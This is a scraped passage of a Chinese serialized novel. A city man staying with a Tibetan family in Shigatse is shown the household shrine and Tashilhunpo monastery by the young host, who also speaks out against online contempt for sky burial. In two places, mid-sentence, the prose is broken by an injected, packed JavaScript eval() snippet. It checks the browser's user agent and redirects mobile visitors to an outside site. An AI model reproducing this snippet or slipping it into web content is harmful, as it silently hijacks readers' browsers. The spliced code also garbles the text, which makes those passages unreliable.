在沉入睡眠的前一刻,沈翊模糊地想,所谓“日子”,大概就是这样,在沉重的思考与轻快的劳动之间,在古老的诵经与鲜活的歌声之间,在沉默的关怀与无声的陪伴之间,一天天,流转下去。而他,正前所未有地贴近这流转的节律,仿佛一颗无意间落入其中的石子,渐渐被水流滋润着受伤的心灵,变得温润安宁。 夜雪在无声中覆盖了原野。 清晨,世界被一片耀眼的洁白重新勾勒。阳光洒在绵延的雪山上,不是温暖,而是一种清冽的、近乎神圣的光芒,既刺目又奇异地抚慰人心。鸡鸣穿透寒冷的空气,罕见的尼玛旺堆在床褥里挣扎了片刻,还是窸窸窣窣地 起身了。沈翊几乎同时醒来,跟随他来到院中自来水旁。 冰冷的金属水管触手生寒,尼玛旺堆熟练地兑好温水。两人并肩站在晨光里,刷牙洗脸,呵出的白气瞬间消散。冰凉的水拍在脸上,激得沈翊一颤,却也彻底清醒了。 “哥,”尼玛旺堆抹了把脸,水珠顺着他棱角分明的下颌滚落,“今天要去市里给阿妈看看,顺便买点东西。 你有没有什么要买的东西?” 沈翊想了想,摇头。他逃离那个物质丰盈的都市时,就没想过还需要添置什么。 “那……一起?”尼玛旺堆侧过头看他,被水浸湿的睫毛显得格外黑亮,“去医院可能有点闷,但之后可以逛逛。” “好。”沈翊几乎没犹豫就点了头,随即被清晨凛冽的空气冻得一哆嗦,转身小跑回屋。他能感觉到身后有道目光跟着自己,带着些许笑意,这让他跑得更快了些,仿佛那目光有实质的温度,熨帖在背上,竟比寒风更让人心慌。 尼玛旺堆没立刻跟进去。他仔细检查了暴露在外的水管,用旧布和棉絮重新加固包裹,防止结冰。这些琐碎而必需的劳作,他做起来无比自然,是这个家沉默而坚实的支柱。 沈翊回到楼上时,熟悉的诵经声已经响起。是“卓玛”的经文,他听了很多遍,旋律和节奏几乎能跟着哼出来,却始终不懂其义。声音似乎从佛堂传来,他循声走去,却在门口顿住,里面传来了压抑的咳嗽声。 尼玛旺堆放下手里的东西,放轻脚步越过他,眉头微蹙地走进佛堂。 沈翊站在门外,有些进退两难。里面的诵经声停了,传来低低的藏语交谈,尼玛旺堆的语气起初是劝慰,渐渐带上了不容置疑的坚持,甚至有些生气。沈翊听不懂具体内容,却能感受到那份焦灼。 就在他考虑是否该悄然离开时,尼玛旺堆的声音传来:“哥,你进来吧。” 沈翊迈进佛堂,瞬间被一种肃穆、温暖又充满视觉冲击力的氛围包裹。 燃灯成排,火光跳跃,将无数鎏金彩绘的佛像映照得光华流转。 空气里弥漫着厚重的藏香和酥油混合的气息。 阿妈米玛啦坐在靠门处的垫子上,脸色在灯光下显得苍白,颧骨却有不正常的红晕,手边放着药盒。她看到沈翊,勉强笑了笑,用藏语快速说了句什么,目光里有些抱歉,又有些复杂的情绪。 尼玛旺堆叹了口气,脸色稍缓,对沈翊说:“阿妈说,让你见笑了。正好,带你看看我家的佛堂。” 沈翊进去之后映入眼帘的便是摆着许多佛像墙面,不似寺庙那么夸张但也足够让人震撼了,中间摆着正方形的桌子,桌子四周雕刻着龙,很华丽,颜色更是精美。 接下来的时间,仿佛进入了一个静谧而浓缩的时空。阿妈米玛啦支撑着病体,坚持要亲自为沈翊讲解。她指着西南角开始,用藏语缓慢而虔诚地述说。 尼玛旺堆便在一旁低声翻译,他的声音在佛堂特有的回响中显得格外清晰、沉稳,每一个尊号、每一段渊源都说得认真。 摆在前面的鎏金制品是吉祥八宝,分别是,宝伞、金鱼、宝瓶、妙莲花、白海螺、吉祥网、胜利幢、金轮。纯手工制作的非常精美。 “这位是十.世.□□.大.师……所有人心中最伟大的一位。日喀则的青稞之乡,离不开上师当年的心血。”他笑了一下说:“可能正是因为这样日喀则的农耕新年才会如此的热闹。” 随后尼玛旺堆补充道,“在藏历中共有四次新年分别是10月1日,贡布罗萨,主要是在林芝市巴宜地区,米林县和工布江达县等;11月1日,阿里普兰地区的普兰新年,主要是阿里普兰等地区;12月1日,索娜罗萨也叫农耕新年或是农事新年,以日喀则粮食之乡为主;1月1日,藏历新年也叫拉萨新年,主要是拉萨地区为主,不过其他藏区都会过一下的。比如在日喀则以索娜罗萨为主,藏历新年为辅,前者更加隆重盛大,但后者也会过一次。” 尼玛旺堆右手四指合并拇指微微扣在上面手心向上在那副唐卡面前停留片刻道,“这是六.世.□□.大.师.罗.桑.贝.丹.耶.喜.……唐卡上方是大威德金刚,两边是文殊菩萨和宗喀巴大师……” 沈翊的目光随着他的指引,流连于那些精美繁复的唐卡和庄严的佛像之间。六.世.大师头戴黄色班智达帽,一身僧衣,左手托钵,右手结说法印,全结痂坐在宝座上。但他发现,自己的注意力很难完全集中在那些绚丽的色彩和深奥的象征上。更多的时候,他忍不住去看向尼玛旺堆。 看他微微仰头凝视唐卡时,下颌到喉结拉出的干净线条;看他双手合十,拇指微扣,手心向上以示恭敬时,那双骨节分明的手如何承载着全然的虔诚;看他翻译到某些复杂之处,偶尔蹙眉思索,随即又流畅解开的专注侧脸。佛堂暖黄的光笼罩着他,让他平日略显硬朗的轮廓柔和下来,仿佛也成了这庄严静谧的一部分,却又带着鲜活的生命力。 随后继续指着另一副唐卡用藏语介绍了一番,只见这幅唐卡的中央主尊为四臂佛像,先前几副唐卡还是能瞧出他们生前的影子。 佛像通体白色,头戴五叶冠,半袒上身,胸饰璎珞,身披帛带,前两臂合十捧宝珠,后两臂持念珠和莲花,坐于莲台之上。 唐卡四周佛像还有佛像。尼玛旺堆解释道,“这是四臂观音菩萨,唐卡的上界为无量光佛和药师佛,右为绿度母,左为白度母,两侧驾祥云为天女。下界右为忿怒手持金刚菩萨,左为文殊菩萨。”他补充道,“在扎西伦布寺有专门宫殿,等我腾出时间,我带你过去。” 尼玛旺堆指着刚才跳过的几个道,“那些是我们家里人专门请的,我个人认为类似于护身符,向他祈祷死亡时他们会引你走向正确的道路,每个人的佛像都不同。” “这个你肯定见过……” 沈翊点了点头确实认识,心不在焉开口道,“六道轮回图。” “是的,”尼玛旺堆解释道,“六道轮回被抱在阎魔抱在怀中,象征六道众生无一能逃离轮回之苦。六道轮回图上方为三善道,中间为天道,左右两侧分别为阿修罗道和人道。下方为三恶道,中间为地狱道,左右两侧为畜生道和饿鬼道。唐卡上方为诸佛菩萨,表示他们正注视着六道中的众生,接引有缘者脱离苦海。在寺庙的墙壁处除了四大天王便是六道轮回图。” 当尼玛旺堆指着那幅著名的《六道轮回图》讲解众生皆苦、轮回不休时,沈翊忽然觉得,自己那颗从都市带来的、布满裂痕的心,正被一种更为宏大也更为悲悯的视角轻轻托住。而带来这种托举感的,不是虚无的神佛,正是眼前这个认真讲述着的青年。他讲述的是超脱的教义,身上却散发着最坚实的人间烟火气。 尼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182988|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玛旺堆似乎察觉到了沈翊长久的注视。在一次翻译间隙,他忽然转过头,目光径直对上沈翊未来得及移开的视线。 空气仿佛凝滞了一瞬。燃灯的火苗微微晃动。 尼玛旺堆的眼神里有一丝疑惑,随即化开,变成了某种很浅、却让沈翊心头一跳的笑意。他没有说话,只是极其自然地,在阿妈米玛啦指向下一幅唐卡时,稍微朝沈翊的方向靠近了半步,继续他的讲解。衣袖轻轻擦过沈翊的手臂,带来细微的麻痒。 沈翊垂下眼,盯着地面木板上光影交错的纹路,耳根发热。他感觉自己像个偷窥者,心思在庄严的佛堂里显得如此不合时宜,却又控制不住。 讲解接近尾声,尼玛旺堆看了看时间,语气带着歉意:“剩下的,下次再慢慢告诉你。我们得准备出发了。”他动作轻柔地清理了燃灯上结出的灯花,那小心翼翼的模样,与之前扛牛粪袋、修水管的利落截然不同,却同样认真。 离开佛堂时,沈翊衣襟上似乎也沾染了那特有的香气,耳边似乎还回响着尼玛旺堆低沉的翻译声,还有他偶尔停顿时的呼吸。那些关于佛像、传承、轮回的宏大叙述,不知怎的,最后沉淀在心里的,却是翻译者那双盛着火光与认真的眼睛。 “我去换件衣服。”沈翊说,声音有些干。 “嗯,穿厚点,市里风大。”尼玛旺堆点头,很自然地抬手,似乎想帮他拂去肩膀上不知何时沾上的一点香灰,手却在半空停住,转而指了指楼梯方向,“快点啊,哥。” 沈翊“嗯”了一声,几乎是逃也似的上了楼。关上门,背靠着冰凉的门板,他才长长吐出一口气。心脏在胸腔里跳得有些不对劲儿,不是因为高原反应。 他换上一件更厚的毛衣,动作有些心不在焉。指尖仿佛还能回忆起佛堂里,对方衣袖擦过时的触感。那不是一个明确的信号,却比任何言语都更清晰地搅动了他的心湖。他想起尼玛旺堆谈论女性命运时的沉重,想起他递来甜酒时的狡黠,想起他扛起牛粪袋时的稳当,也想起他刚才在佛像前,那纯粹而专注的侧影。 这些碎片拼凑不出一个完整的未来,却让“现在”的每一刻都充满了某种悬而未决的、让人既忐忑又甘之如饴的引力。 下楼时,尼玛旺堆已经收拾妥当,正扶着阿妈米玛啦慢慢走下来。看到沈翊,他目光在他身上停留了一瞬,像是确认他穿得够不够暖,然后简短地说:“走了。” 车就停在院子里,引擎已经发动,吐出白色的尾气。沈翊拉开车门,让阿妈米玛啦先坐进去,自己正准备跟上,尼玛旺堆却从驾驶座那边探过身,手臂越过座椅,将一个卷好的羊绒毯子塞到他手里。 “路上冷,盖着腿。”他说完就坐了回去,目视前方,仿佛只是做了件再平常不过的事。 沈翊捏着那还带着些许体温的毯子,愣了两秒,才低声道:“谢谢。” 车子驶出村庄,碾过积雪未消的土路,朝着日喀则市区的方向驶去。车窗外是不断后退的、白茫茫的旷野,车窗内是渐渐升高的温度和阿妈米玛啦低低的诵经声。 沈翊将毯子盖在腿上,柔软的触感包裹住寒意。他悄悄抬眼,从车内后视镜里,能看到尼玛旺堆专注开车的半张脸,浓眉,挺直的鼻梁,紧抿的唇。 尼玛旺堆似乎感应到什么,抬眼也看向了后视镜。 两人的目光在镜中短暂交汇。 这一次,沈翊没有立刻躲开。他看到尼玛旺堆的嘴角,几不可察地向上弯了一下,然后便移开视线,重新看向前路。 车继续向前行驶,驶向未知的市集与诊室,也驶向一段彼此心照不宣、在沉默中悄然滋长的旅程。 沈翊将脸转向车窗,看着外面飞速掠过的雪景,玻璃上模糊地映出他自己的倒影,以及倒影嘴角那抹同样压不住的、细微的弧度。 腿上的毯子很暖。前路似乎也不那么让人畏惧了。 16. 寺庙与天葬 车厢内弥漫着熟悉的藏香气味,混合着羊毛毯和阳光晒过的味道。 沈翊靠在椅背上,看着窗外景色从覆雪的村野逐渐过渡到城市边缘的楼宇。 阿妈米玛啦坐在副驾,低声念着经,手里缓缓转着佛珠。这狭小空间里的安宁,与窗外那个逐渐喧嚷起来的世界,仿佛隔着两个时空。 藏医馆坐落在一条不起眼的街边,门面朴素。一推开门,那股沈翊预想中医院特有的、尖锐的消毒水气味并未出现,取而代之的是沉静的藏香,与尼玛旺堆家佛堂的气息一脉相承。这里没有冰冷的金属长椅和叫号电子屏,只有一条缓慢移动的队伍,人们安静地等待着,脸上多是平静或带着病容的忍耐。 大夫是位面容慈和的长者,诊脉时指尖沉稳,询问阿妈米玛啦病情时,声音轻缓得像在聊家常。他们用藏语交流,那些音节沈翊听不懂,却能看出阿妈米玛啦逐渐放松的肩膀和尼玛旺堆眼中稍稍纾解的忧虑。 语言在这里不是屏障,反而是抚慰的媒介。 沈翊站在一旁,又一次清晰感受到自己是个“外人”,但这种感觉并不难受,只是让他更仔细地观察,观察尼玛旺堆微微前倾、专注聆听的姿态,观察他接过药方时对大夫恭敬的欠身。这个青年身上有一种奇特的融合感:他能轻松地谈论网络上的纷争,也能在此刻如此自然地遵循着古老的礼仪。 从医馆出来,尼玛旺堆径直将车开往扎什伦布寺附近的茶馆,是寺庙的茶馆。 这里完全是另一番景象。人声鼎沸,甜茶的香气与各种食物的味道蒸腾在一起,温暖而喧闹。阿妈米玛啦熟门熟路地找了个位置,很快便有相熟的老姐妹笑着围拢过来。尼玛旺堆为她要来类似热水壶里,里面装着甜茶,看着她拿出自带的木碗,这才转向沈翊。 沈翊这才注意到大部分人摆在桌前的碗是自己带过来的,只有几个是饭馆专供的瓷碗。 香甜的甜茶倒满木碗,一缕香烟缕缕升起,叫人不自觉咽下一口。 “吵吧?”他给沈翊倒了碗甜茶,瓷碗边缘有个不易察觉的小磕口,毕竟是公用的也是正常,“但这里消息最灵通,阿妈在这儿比在家还精神。” 阿妈米玛啦又拿出另外一个类似木碗的东西,打开盖子里面装满了酥油,她拿上筷子褪去塑料袋,拿出一点酥油向他示意要不要添在甜茶里,尼玛旺堆伸手阻止母亲的举动。 她只好作罢添给自己,块状的酥油漂浮在碗中,随着时间的流逝慢慢融化。 沈翊接过茶,碗壁温热。他看着尼玛旺堆,对方脸上带着一种“任务完成一半”的松弛笑意。 尼玛旺堆无奈对他道,“你应该接受不了添了酥油的甜茶,我擅自替你拒绝了。” 沈翊微微一笑,摇了摇头,“没事,我能理解。” “嗯,趁她们聊得开心,我们要不要……去寺庙?”尼玛旺堆几口喝完自己那碗茶,眼睛瞟向窗外那座巍峨的红白建筑群,眼神里有种不自觉的亮光,“带你去看看真正的扎什伦布寺,不是旅游手册上那种。” 前往寺庙的路上,尼玛旺堆的话匣子似乎被打开了。他讲述寺庙的建造年代、宗派渊源,“扎什伦布寺是公元1447由宗喀巴的弟子格敦朱巴大师修建,是大师从纳塘寺来到日喀则时途径这里,由于能参透未来便在修建了这座寺庙,这寺庙是格鲁派的代表之一。不知道是不是被神化了,总之就是有这个样的传说。” 甚至调侃了武侠小说对“黄帽喇嘛”的误解,他笑了笑继续道,“格鲁派字面意义上就是向善的教派,虽然他形成时间最晚却是影响最广的教派。” 他的讲解不是死板的背诵,时常夹杂着“我小时候听说……”、“有个朋友家的爷爷……”这样活生生的比喻。沈翊听着,目光却更多地流连在讲述者的侧脸上。尼玛旺堆说起这些时,有种不自知的、发自内心的自豪与亲近,仿佛在介绍一位德高望重、看着自己长大的家族长辈。 进寺庙之前,他们在门口买了‘曲玛’和哈达。 通过安检门后沈翊跟着尼玛旺堆听他娓娓道来,“映入眼帘的四座凸起的金鼎建筑从左到右分别为,强巴佛殿、十世□□灵塔、四世□□灵塔和几位□□合葬灵塔。”尼玛旺堆带着他跳过好几处寺庙,他说,“在有限的时间内我只能给你介绍主主要的几处宫殿,如果是想要拜完全部,我们来的太晚了赶不上时间,会闭殿门的。” 进门处沈翊看到了与他家墙壁一样的画,他想藏族大部分家的进门处应该都有这两幅图。 进殿之前尼玛旺堆敲了三下钟,他说,“这是在跟佛打招呼。”上去时共有三个阶梯中间被彩色绸带覆盖着,来来往往的人从左上去,从右下来。 尼玛旺堆,他敲钟、行礼、供奉,每一个动作都流畅自然,带着经年累月形成的肌肉记忆。 沈翊跟在他身后,模仿着他的动作,心下却有些恍惚。 殿内空间高阔,鎏金的强巴佛巨像垂目俯瞰,燃灯如星河,酥油气味浓得化不开。 在这压倒性的庄严面前,沈翊感到自身的渺小,却也奇异地感到安心。他看见尼玛旺堆把手里的东西放在傍边。随后在佛前深深叩首,额头轻触地面,那背影显得如此虔诚而……孤单。一种想要了解他此刻心中所想的冲动,悄然掠过沈翊心头。 起身后,他拿出哈达与钱放到佛前,随后见他打开曲玛盖子,带开被卫生纸包裹的勺子,挖出一点放到中间的燃灯里。 那燃灯比他还高出了不少。 “这地面,”尼玛旺堆起身后,指着脚下色泽温润的地面,语气又恢复了之前的活泼,“叫‘阿嘎土’,我们特有的,比水泥好看多了,脚感也好。”他像个展示自家宝贝的孩子,甚至用脚轻轻蹭了蹭地面。这小小的举动,让沈翊方才因巨大佛像而生出的怪异感消散不少。 两人从强巴佛殿离开之后,继续前往下一处十.世.□□.大.师.灵.塔,进殿之后前外侧墙壁上刻画着四大天王,拐角处的墙壁上绘画着六道轮回图,门框上面共有七座狮子。 尼玛旺堆依旧在门口叩拜三下,拿着东西进来,在绕到佛像后时,他指着墙壁上的佛像解释,“这位是阿阳蔵巴,是聚才之佛。” 在前往四世.□□.大.师.灵.搭时需要爬楼梯,他说这里有个说法,“在这里来回上下九次且不喘气,能洗清自己的罪孽。” 灵塔与前一位及其相似,沈翊其实看不出区别来,太像了。 他们穿行在殿堂与灵塔之间。 尼玛旺堆的讲解时疾时徐。 在十.世.□□.灵.塔.殿前,他提及大师经历的苦难时,语速很快,几乎一语带过,不愿多谈,沈翊敏锐地察 觉到他情绪的细微收缩。 而在四.世.□□.灵.塔,说起故居特有的自然景观‘梯田’和那些被“扯走”的垫子,独具特色的藏式建筑时,他的声音低缓下去,流露出一种混合着惋惜与无奈的复杂情绪。沈翊静静地听,没有追问。他意识到,尼玛旺堆并非在向他进行文化普及,而是在分享一些对他个人而言重要、甚至可能带着隐痛的记忆片段。这种分享本身,就是一种无声的信任。 从这里出来有往上往下两个方向,他说,“上面的是新修建的宫殿,我先带你看最主要的几个。”随后两人往下走去,这些由石头组成阶梯都是被来来往往的人蹭的十分光滑,在阳光下闪闪发光。 他指着许多硬币镶嵌的墙壁,五指合并指着上面的佛像道,“这位是米拉日巴尊者”不知想到了什么他笑着说,“我很小来这里的时候,这些硬币并没有被完全掩盖,现在黑漆漆一片,我也会感叹原来时间过的那么快。”然后继续说,“米拉日巴尊者是一世成佛,他的经历被人改编成电视剧了,以后有时间我可以找来给 你看,他是一位令人敬佩的上师。” 玛旺堆指着措钦大殿的门匾说:“这是扎什伦布寺最初的建筑之一,已经有五百多年的历史,不过他认为人们更加耳闻能详的是“杜康”意思就是由石头建造的房子,具体原因是因为当初是在天葬台正中心的石头现就在这殿当中,来警示前来拜佛的人们,人终有一死,切勿作恶。清晨5点左右,僧人们就会在这里诵经。” 带着沈翊进去里面正中供奉着释迦摩尼像,他说,“藏历15号凌晨5点左右从家里出发到这里专门换酥油燃灯,届时才开傍边三位度母的宫殿,平日里是关着的。” 他看过去才见门口处放着许多钱和哈达。 沈翊亲身体会之后才明白原来信仰的力量竟如此强大。 他觉得自己低估了无形力量的能力。 当他们从措钦大殿出来时,还能听着从里面隐约传来的、如同低沉潮汐般的集体诵经声时,沈翊终于问出了那个盘旋已久的问题:“你对天葬……怎么看?” 问题出口的瞬间,沈翊就有些后悔。这似乎太直接,太像一种游客式的猎奇。 尼玛旺堆果然愣了一下。他转过头,深深看了沈翊一眼,那眼神不再是之前的平和或略带笑意,而是一种沉静的审视。然后,他几乎是有些突兀地,开始复述那些他在网络上看到的、充满偏见的评论。他的语气起初还算平稳,像在陈述事实,但很快,随着一条条荒诞或恶意的言论被逐条“说”出来,他的语速加快了,声音里压上了重量。 匿名网友1号会在关于天葬下面评论说,不懂为什么那么多伪文艺青年动不动就把缺氧不缺信仰挂在嘴边,动不动就洗涤心灵。心有多脏才去西藏这种地方洗涤心灵,以前的就是个农奴人间地狱。” 2号跟着发表意见:“把单向的“尊重信仰”当做一切的挡箭牌,把愚昧落后的糟粕当做洗涤心灵的口号,大好年纪不去建设家乡和国家,蹲在那里享受着移动支付坐而论道,时不时还和武警同志来个紧密接触。” 匿名网友3号:“就是个保留下来的野蛮原始习俗,非要吹捧。” 相比较三者稍微理性的匿名网友4号:“观看视频之后,我个人理解,这什么天葬只不过是通过一种低级、血腥、暴力的直观冲击,去摧毁你的一些认知,之后再给你灌输一些认知。他们通过这个告诉你,你的理想、信念、珍视的东西都不对,你的身体都没意义,功名利禄那就更没意义了。等你真信了这个邪,自然你就要问了,那我的执着没意义是错的,什么是对的?这个时候师傅就站出来了,想学啊?我教你啊?你别信这些,人生在世要从宇宙的角度我们都是尘埃,活着一世当然没意义,但是不是说你的没意义,他的就有意义了,你就算是接收他这一套,最多也只能能证明你错了,但是你错了不等于他就对了。 匿名网友5号:怎么都是说啥好的,我就看不惯,佛就是扯淡的,他们修佛那个只是为了自己,还有一棒傻子还去膜拜……” 尼玛旺堆神色凝重望着身后的寺庙问他,“人类高高在上批判另一个文明,只是因为他的丧葬文化直白血腥,这真的对吗?” “在我看来,土葬也好天葬也罢,其本质都是回归自然,都是成为大自然的一部分,为什么有人却偏偏要给出个高低贵贱的答案才能罢休。” 他们沿着寺庙外围的石板路慢慢走着,远处辩经场的声音随风断续传来。尼玛旺堆的讲述却与那片嘈杂剥离,形成另一个激烈而沉郁的场域。他谈论文明的历程,谈论双重标准,谈论那些被恶意曲解和利用的符号,他的论述并不总是严丝合缝,带着年轻人特有的锐气和某种被伤害后的愤怒,但那份试图理解、试图辩白、试图在复杂现实中寻找支点的努力,如此真切。 沈翊没有打断他。 “他们看不惯人人向往蓝天碧云的西藏,就批判他是农奴人间炼狱,可是每一个文明都是这么过来的,从原始社会到现在的资本主义和社会主义,资本原始积累贩卖农奴,封建社会统治者为了维护自己的权益孕育出法理制度,产生国家;现在还有未开发的原始岛屿中生活着食人族,那些残酷的刑法每个时代,每个国家都有,为什么偏要如此对待这片土地。” “我不明白,如果说农奴社会史是炼狱那么其他国家,民族不都一样,凭什么只针对这里!” “当然也会有理智的网友,他们秉持着不理解但尊重的态度,不会随意批判一个民族的文化。” “而且我也不明白为什么要用‘糟粕’来形容天葬,在社会学中这些事归类于民俗文化的范畴,是一个民族区别于其他的标志。如果把天葬比作糟粕,那么我也可以从我的文化角度把土葬比作糟粕,这样显然会有人因此愤怒,会来骂我。” “那些人,就没有换位思考过,在他们眼中,只有自己的东西是高尚的,是精华。如果天葬真是糟粕,又为什么没有随着时间的流逝消失在历史长河之中,就是因为有我这样的人,我死后注定要天葬。 他听着尼玛旺堆从激动到疲惫,最后那声“无所谓了”的叹息,听起来更像是一种无力的自我保护。他看到了这个平日里温和甚至有些腼腆的藏族青年,内里包裹着怎样炽热而彷徨的灵魂。他对自己的文化和身份爱得深沉,也因此对那些隔靴搔痒的误解和充满恶意的诋毁,感受到加倍的痛楚。 “有些人会选择将自己的遗体贡献给医学事业,我只是利用承载我灵魂的载体,喂给秃鹫而已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182989|196977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都是一种有意义的事情。可是偏偏有人会说,我献给医学事业对人类的贡献更大之类的,都是回馈这个世界,真有高低贵贱吗?真有贡献的大小吗?” “等辩论许久发现自己的言论无法说服对方,就是上升到对社会的贡献,借此通过天葬批判其背后的宗教,把他说成是迷信、是蛊惑人心,毫无用处的观念。” 他重重叹了一口气,“追究其根本,他们根本不懂天葬,他们只认为自己知道的就是绝对的正确。” 只听尼玛旺堆又道,“在西藏没人求你信奉宗教,人家转世活佛也是劝人别把钱往寺庙里砸,心意才是最重要的,更是劝告他们不要盲目信奉,要观察对方的言行举止……”他冷笑了一声说:“算了,不生气了,无知者无罪。” 他冷笑了一声说:“这也不过是自欺欺人而已。” 清醒的堕落者。 “总之,你想看我如何认识与评价天葬,倒不如去看看那些视频下面的评论,能让你更加理性地看待事情。” 他只是感叹道,“无所谓了……” 在尼玛旺堆激烈倾诉的过程中,沈翊也注意到了别的东西。 尼玛旺堆会时不时瞥他一眼,似乎在观察他的反应,确认他是否在听,是否理解,是否……厌恶。 当他提到“我死后注定要天葬”时,声音有一丝几不可察的停顿,目光飞快地扫过沈翊的脸,像是在进行试探。还有最后那近乎自嘲的“清醒的堕落者”,他说完便迅速移开视线,拧开可乐瓶灌了一大口,喉结急促地滚动。这些细微的举动,泄露了他平静表面下的忐忑。他不仅是在谈论一种葬俗,更是在向一个外来者、向这个他隐约在意着的人,展露自己世界观中最核心、也最易受攻击的部分。 当激烈的言辞终于告一段落,两人之间出现了短暂的沉默。只有脚步声和远处模糊的市声。沈翊没有说话,没有评价,只是与他并肩走着。有时候,倾听本身即是一种态度。 回到喧嚣的茶馆,如同从深水区,回到热闹的浅滩。尼玛旺堆脸上激烈的痕迹迅速褪去,他熟练地穿过人群,找到母亲那一桌,脸上重新挂起笑容,用藏语和阿姨们打招呼,语气轻松。他甚至还记得给沈翊又要了一碗新茶。 “累了吧?”他坐下,将茶推到沈翊面前,语气已经恢复了平常的温和,只是眼底还残留着一丝未完全散尽的倦意,“讲了太多乱七八糟的。” “没有,”沈翊摇摇头,双手捧住温热的瓷碗,“很……感谢你告诉我这些。”他用了“感谢”这个词。 尼玛旺堆看了他一眼,似乎想从他脸上找出客套的痕迹,但沈翊的眼神很平静。他嘴角动了动,没再说什么,只是低下头,也捧起了自己的茶碗。 阿妈米玛啦和朋友们聊得正酣,不时发出愉快的笑声。沈翊坐在这一角喧闹的安宁里,看着对面垂眼喝茶的尼玛旺堆。这个刚才还在为宏大的文化命题激烈陈词的青年,此刻睫毛在茶馆昏黄灯光下投出一小片阴影,握着碗的手指关节微微用力。 沈翊心里某个地方,很轻地动了一下。那不仅仅是对尼玛旺堆口中那些沉重话题的触动,更是对这个人本身的、一种愈发清晰的认知和怜惜。他看到了他的渊博与单纯,他的炽热与孤独,他的坚守与无力。这种复杂而真实的生命质地,比任何“善良”或“热情”都更具吸引力。 尼玛旺堆似乎感应到他的目光,抬起眼。两人视线相接。茶馆的嘈杂仿佛在这一瞬褪为背景。 沈翊没有躲闪,只是极轻微地,对他点了点头。那不是一个关于赞同或反对的明确信号,更像是一种确认,我听到了,我在这里。 尼玛旺堆怔了怔,随即,眼底那最后一丝紧绷的痕迹,也慢慢化开了。他什么也没说,只是将碗中的甜茶慢慢喝完。然后,他转向母亲那边,用藏语询问了句什么,阿妈米玛啦笑着摇头摆手。 “她们还要再坐一会儿,”尼玛旺堆转回头,对沈翊说,声音比刚才更松弛了些,“我们……去外面透透气?“想去转山吗?扎什伦布寺后面就是卓玛山,路挺好走,能看到寺庙的全景。” “好。”沈翊应道。 转山!沈翊眼睛倏地亮了。他在无数游记和视频里看到过这个词,总想象着那是一种怎样枯燥又虔诚的体力修行。可此刻,和尼玛旺堆一起,这个词语忽然充满了鲜活的诱惑。他用力点头,抛开方才那点无谓的惆怅:“去!” 他们起身离开嘈杂的茶馆,将鼎沸的人声关在身后。午后的阳光斜照在寺庙的红墙上,空气清冷而干净。尼玛旺堆走在前面半步,脚步不疾不徐。沈翊跟在他身后,看着他被阳光拉长的影子,和自己影子的前端,偶尔会重叠在一起。 山坡不高,很快便到顶。整个扎什伦布寺的金顶、红墙、白垩尽收眼底,在高原明亮的蓝天下,壮丽而静谧。年楚河如一条闪光的带子,从远处蜿蜒而过。 两人并肩站着,半晌无言。风掠过耳畔,带着远方雪山的凉意。 “刚才……”尼玛旺堆忽然开口,声音不高,被风吹得有些散,“我说那些,是不是像在抱怨,对不起让你不开心了。” “不像。”沈翊回答得很肯定。他停顿了一下,寻找着合适的词句,“更像是在……想让很多人放弃偏见。虽然,”他侧头看向尼玛旺堆,“可能有点累。” 尼玛旺堆也转过头来。他的眼睛在阳光下是清澈的浅棕色,此刻映着天空和寺庙的轮廓。“是累,”他承认得很干脆,随即笑了笑,那笑容里有种卸下部分重担后的轻松,“但跟你说,好像没那么累。” 这句话很轻,分量却重。沈翊感到心口微微一胀。他转回头,继续望着眼前的景色,低声说:“那就好。” 他们又在山坡上站了一会儿,直到夕阳开始为金顶镀上更浓烈的光辉。下去的路上,尼玛旺堆没再谈论沉重的话题,而是指给沈翊看一些有趣的细节:墙角一丛在石缝里顽强开放的蓝色小花,某处屋檐下雕刻得特别生动的小动物,几个匆匆跑过、穿着僧袍却满脸稚气的小扎巴。 他的语气重新变得轻快,甚至带着点顽皮。沈翊跟着他,听着他讲解,偶尔问一两个问题。一种无需言明的默契在两人之间流淌,比之前更自然,也更深厚。 他们之间,有了一条看不见的、却真实存在的纽带,由沉重的历史、尖锐的现实、沉默的倾听和共享的风景共同编织而成。而这一切的起点,或许只是佛堂里一次未完成的翻译,摩托车后座一次寒冷的依偎,或是一碗共饮的、苦涩又回甘的青稞酒。 路的前方,家的灯火在望。沈翊忽然觉得,那不再仅仅是一个借宿的屋檐。 17. 扎木念||扎木聂 回到茶馆上接阿妈米玛啦时,老阿姨们看着一同回来的两个年轻人,彼此交换了一个眼神,脸上露出心照不宣的慈祥笑容。尼玛旺堆似乎有点不好意思,快速用藏语说了几句,便准备扶着母亲往停车的地方走去,但阿妈米玛啦让他们先坐下,吃个饭。 尼玛旺堆无奈,只好顺着母亲,但他没有立刻坐下,而是接过阿妈手里的铜壶,微微躬身,为两位长辈面前的木碗斟满甜茶。他的动作熟练而恭敬,手腕稳当,泛着蜜色的茶水划出一道温顺的弧线,恰好停在碗沿下方一线,一滴未溅。 沈翊安静地看着。 